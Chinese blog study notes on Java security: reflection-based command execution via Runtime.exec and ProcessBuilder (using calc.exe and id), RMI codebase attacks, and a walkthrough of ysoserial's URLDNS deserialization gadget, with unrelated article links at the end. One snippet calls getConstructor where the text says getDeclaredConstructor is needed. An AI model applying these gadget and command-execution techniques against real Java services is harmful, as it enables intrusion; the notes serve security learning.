一.反射篇1

classloader就是java的类加载器,告诉虚拟机如何加载这个类。默认情况下根据类名来加载类,类名必须是完整路径

public class class_init {

    {
System.out.println("123");
}
static {
System.out.println("456"); }
public class_init(){
System.out.println("789"); }
public static void main(String[] args){
class_init n = new class_init();
}
}

{}括号里的是初始化块,这里面的代码在创建java对象时执行,而且在构造器之前执行!其实初始化块就是构造器的补充,初始化快是不能接收任何参数的,定义的一些所有对象共有的属性、方法等内容时就可以用初始化块了初始化!好处是可以提高初始化块的复用,提高整个应用的可维护性。

public class class_init {

    {
System.out.println("123");
}
static {
System.out.println("456"); }
public class_init(){
System.out.println("789"); }
public static void main(String[] args) throws ClassNotFoundException {
class_init n = new class_init();
Class a = Class.forName("a");
System.out.println(a);
}
}
class a{ static{
System.out.println("1111");
}
public a(){
System.out.println("2222");
}
}

通过调用class.forname可以得到一个类类型的对象,其中就是得到了a类,此时将会自动初始化该类的对象,因此会调用static代码块的内容

public void ref(String name) throws Exception {
Class.forName(name);
}

那么对于上面这段代码,如果入口参数String name可控的话,我们就可以反射任意类,那么如果此时类里的static代码块是恶意代码则会造成危害。

二.反射篇二

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");

通过以上的代码来反射执行id是不可以的,因为runtime类的构造函数是私有的,所以newInstance是不成功的,当然当一个类没有无参的构造函数时也不能够成功。

runtime类的构造函数设置为私有是因为该类的设计模式为单例模式,意思就是该类全局模式只能有一个实例,其余的只能通过该类的对象来调用其方法。

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");

所以这里上面这段经常用的利用反射来执行命令的代码就很好理解了,首先通过forname来或取runtime类,然后调用getmethod来获取exec函数,但是exec函数有多个函数重载,因此要调用入口参数为string类型的构造函数,因此这里getmethod,第二个参数为String.class,然后调用invoke函数,invoke又需要类runtime的对象,而runtime类又是单例模式,因此通过getmethod传入getruntime同时调用invoke来返回runtime类的对象,这样一条链就很容易理解了。

Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz); execMethod.invoke(runtime, "calc.exe");

三.反射篇三

因为之前通过runtime类来执行命令我们已经知道其有getruntime静态方法来返回runtime类的对象,所以有个问题:

1.如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?

因为我们知道一般实例化一个类,可以用class.newInstance(),它的作用就是调用这个类的无参构造函数,所以不可用的时候要么该类的构造函数是私有的,要么该类就没有无参的构造函数。

所以新介绍了一个getconstructor()函数,这个函数的入口参数是构造函数的参数列表类型,因此通过其就可以调用该类的任意构造函数,并且获取到构造函数以后可以通过newinstance()函数来执行

因为processBuilder类有两个构造函数,因此通过getconstructor调用时入口参数类型也不同

public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))); }
}

入口为List类型,因此传入List.class,然后调用newInstance来执行,并且此时newInstance的入口参数即为传入的要执行的命令,此时为list类型的值为calc.exe

另一种则是String类型的这里的...是可变参数,也就是说函数参数个数是可变的,java在编译的时候实际上会将其当做一个数组,所以这里传入newInstance的入口参数是一个二维数组

因为newInstance函数的入口参数也是可变参数类型的,因此要用String[]{},又因为processbuilder的构造函数的入口参数也是可变参数类型,因此叠加一个数字,即为String[][]{{“calc.exe”}}

public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})); }
}

还有一个问题:

2.如果一个方法或构造方法是私有方法,我们是否能执行它呢?

getmethod是获取类中的公有方法以及从父类继承过来的方法

getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了

getDeclareMethod和getMethod的用法类似,getconstructor和getDeclareConstructor的用法类似,那么此时我们就可以用getDeclareConstructor来获取私有构造方法来实例化对象了

public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getConstructor();
m.setAccessible(true);
clazz.getMethod("exec",String.class).invoke(m.newInstance(),"calc.exe"); }
}

这里拿到构造函数以后还需要设置一下作用域才可以使用私有的构造函数,否则还是不可用。

四.rmi篇4-6

1.这三篇主要读完只要记得rmi client和rmi registry 、 rmi server是如何通信的即可,服务器注册rmi服务,将对象与name绑定,客户端通过lookup在rmi registry中寻找要加载远程对象,然后再发起请求从rmi server上调用方法。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在 本地没有找到这个类,就会去远程加载codebase中的类。当然如果codebase被控制了,那么就可以自己起一个rmi服务器,使目标服务器加载恶意对象。

当然rmi服务器只有满足一下两个条件才能被攻击:

安装并配置了SecurityManager

Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false (设置为true以后就不能加载远程的codebase了)

五.反序列化篇7-8

1.java在序列化对象时,将会调用该对象的writeObject方法,参数类型是ObjectOutputStream,开发者可以将任何内容写入到该stream中,反序列化的时候,会调用readObject()方法,能够读取出写入的内容。而写入的值实际上是在objectAnnotation这个变量中

2.关于URLDNS的反序列化链

打开ysoserial的源码找到payloads/URLDNS,里面就有对该payloads的描述,可以看到如上图所示的gadget,很简单,和刚入门就分析commom collections比的确少了很多很多。。。

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht;
} public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
} /**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException {
return null;
} protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

其中注释里已经对该payload做了简单的解释,读一读也能大概明白构造的基本原理

首先ysoserial会调用URLDNS类的getObject方法来获取该payload,这个方法实际上返回的是一个对象,此时由代码中我们可以看到这个对象实际上是一个hashmap的对象。又因为反序列化会调用类的readobject函数,所以如果把hashmap作为要反序列化的对象,将会调用其readObject方法,因此此时我们跟进其看看

    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
this.reinitialize();
if (this.loadFactor > 0.0F && !Float.isNaN(this.loadFactor)) {
s.readInt();
int mappings = s.readInt();
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else {
if (mappings > 0) {
float lf = Math.min(Math.max(0.25F, this.loadFactor), 4.0F);
float fc = (float)mappings / lf + 1.0F;
int cap = fc < 16.0F ? 16 : (fc >= 1.07374182E9F ? 1073741824 : tableSizeFor((int)fc));
float ft = (float)cap * lf;
this.threshold = cap < 1073741824 && ft < 1.07374182E9F ? (int)ft : 2147483647;
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Entry[].class, cap);
HashMap.Node<K, V>[] tab = new HashMap.Node[cap];
this.table = tab; for(int i = 0; i < mappings; ++i) {
K key = s.readObject();
V value = s.readObject();
this.putVal(hash(key), key, value, false, false);
}
} }
} else {
throw new InvalidObjectException("Illegal load factor: " + this.loadFactor);
}
}

这里关注上面readObject函数中红色部分,这里调用putVal函数,其中对hashmap的键做了hash,这里关注hash的原因是payloads注释中说明了

During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

所以这里实际上是会调用hashmap当前键的hashCode方法,所以如果我们传入URL类的对象,那么自然会调用URL类的hashCode,跟进去看看

因为在payload中已经设置了hashcode=-1,所以此时调用this.handler的hashcode,跟进发现hanler是URLStreamHandler类的对象,其用关键字transient修饰,就是在序列化的过程中,该成员变量不参与

继续跟进该类,

这里将会调用getHostAddress函数,当然前面getProtocol只要其能够过就行,不需要管,跟进

这里InetAddress.getByName实际上就是根据主机名获取器ip地址,说明到此时gadget已经执行完毕了,整条链很清晰~

JAVA安全漫谈1-8笔记的更多相关文章

  1. JAVA的反射机制学习笔记(二)

    上次写JAVA的反射机制学习笔记(一)的时候,还是7月22号,这些天就瞎忙活了.自己的步伐全然被打乱了~不能继续被动下去.得又一次找到自己的节奏. 4.获取类的Constructor 通过反射机制得到 ...

  2. Java高级开发工程师面试笔记

    最近在复习面试相关的知识点,然后做笔记,后期(大概在2018.02.01)会分享给大家,尽自己最大的努力做到最好,还希望到时候大家能给予建议和补充 ----------------2018.03.05 ...

  3. java程序设计基础篇 复习笔记 第一单元

    java语言程序设计基础篇笔记1. 几种有名的语言COBOL:商业应用FORTRAN:数学运算BASIC:易学易用Visual Basic,Delphi:图形用户界面C:汇编语言的强大功能和易学性,可 ...

  4. 《Java编程思想》阅读笔记二

    Java编程思想 这是一个通过对<Java编程思想>(Think in java)进行阅读同时对java内容查漏补缺的系列.一些基础的知识不会被罗列出来,这里只会列出一些程序员经常会忽略或 ...

  5. java字节码速查笔记

    java字节码速查笔记  发表于 2018-01-27 |  阅读次数: 0 |  字数统计: |  阅读时长 ≍ 执行原理 java文件到通过编译器编译成java字节码文件(也就是.class文件) ...

  6. 《Java 8实战》读书笔记系列——第三部分:高效Java 8编程(四):使用新的日期时间API

    https://www.lilu.org.cn/https://www.lilu.org.cn/ 第十二章:新的日期时间API 在Java 8之前,我们常用的日期时间API是java.util.Dat ...

  7. Java横向技术 网络【笔记】

    Java横向技术 网络[笔记] 计算机网络 服务器返回给客户端 http 响应包的状态码有哪几大类?302.304 分别是什么意思? ​ 状态码分为五大类: ​(1)信息性状态码(Informatio ...

  8. Java HashSet和TreeSet【笔记】

    Java HashSet和TreeSet[笔记] PS:HashSet.TreeSet 两个类是在 Map 的基础上组装起来的类 HashSet 类注释 1.底层实现基于 HashMap,所以迭代时不 ...

  9. Java TreeMap 和 LinkedHashMap【笔记】

    Java TreeMap 和 LinkedHashMap[笔记] TreeMap TreeMap基本结构 TreeMap 底层的数据结构就是红黑树,和 HashMap 的红黑树结构一样 与HashMa ...

  10. Java后端高频知识点学习笔记1---Java基础

    Java后端高频知识点学习笔记1---Java基础 参考地址:牛_客_网 https://www.nowcoder.com/discuss/819297 1.重载和重写的区别 重载:同一类中多个同名方 ...

随机推荐

  1. HashSet和CopyOnWriteArraySet(转载)

    前言 这篇文章的目的如下: HashSet是如何保证元素的不重复和无序 HashSet的增删(改查?)原理 CopyOnWriteArraySet支持并发的原理 CopyOnWriteArraySet ...

  2. Twitter Bootstrap:前端框架利器

    Bootstrap 的文件结构 读者可以直接从 GitHub 下载到 Bootstrap 源码,本地解压后可以看到这样的目录结构:docs.img.jquery-ui- bootstrap.js 和 ...

  3. hibernate使用注解生成表,有时无法生成数据表的原因

    待生成表中有字段“desc”或“descripe”等和hibernate关键字,导致和hibernate冲突

  4. LeetCode--链表

    1.使用常量空间复杂度在O(n log n)时间内对链表进行排序. 思路: 因为题目要求复杂度为O(nlogn),故可以考虑归并排序的思想. 归并排序的一般步骤为: 1)将待排序数组(链表)取中点并一 ...

  5. Python3+Appium学习笔记06-noReset参数

    百度很多文章说noReset这个参数是用来防止重复安装app的.可能这是以前的用法.目前最新版本appium默认是清除session信息,并且不会删除应用的. ​ noReset这个参数,根据appi ...

  6. tp5 左连接

    db('detainform')->alias('d')->join("information i",'i.z_id=d.z_id','LEFT')->where ...

  7. 【基础数位DP-模板】HDU-2089-不要62

    不要62 Time Limit: / MS (Java/Others) Memory Limit: / K (Java/Others) Total Submission(s): Accepted Su ...

  8. vue-cli webpack打包后index.html引入文件没有引号

    参考地址:https://blog.csdn.net/i_coffer/article/details/81005733 在对vue-cli项目打包后出现index.html引入的css和js没有引号 ...

  9. adb连接MUMU模拟器

    参考:http://mumu.163.com/2017/12/19/25241_730476.html?type=notice 通过adb就可以像操作linux一样来看看模拟器的文件什么的,难道刷机就 ...

  10. .NET Core 3全新来袭!DevExpress Winforms v19.2支持High DPI

    DevExpress Winforms Controls 内置140多个UI控件和库,完美构建流畅.美观且易于使用的应用程序.无论是Office风格的界面,还是分析处理大批量的业务数据,DevExpr ...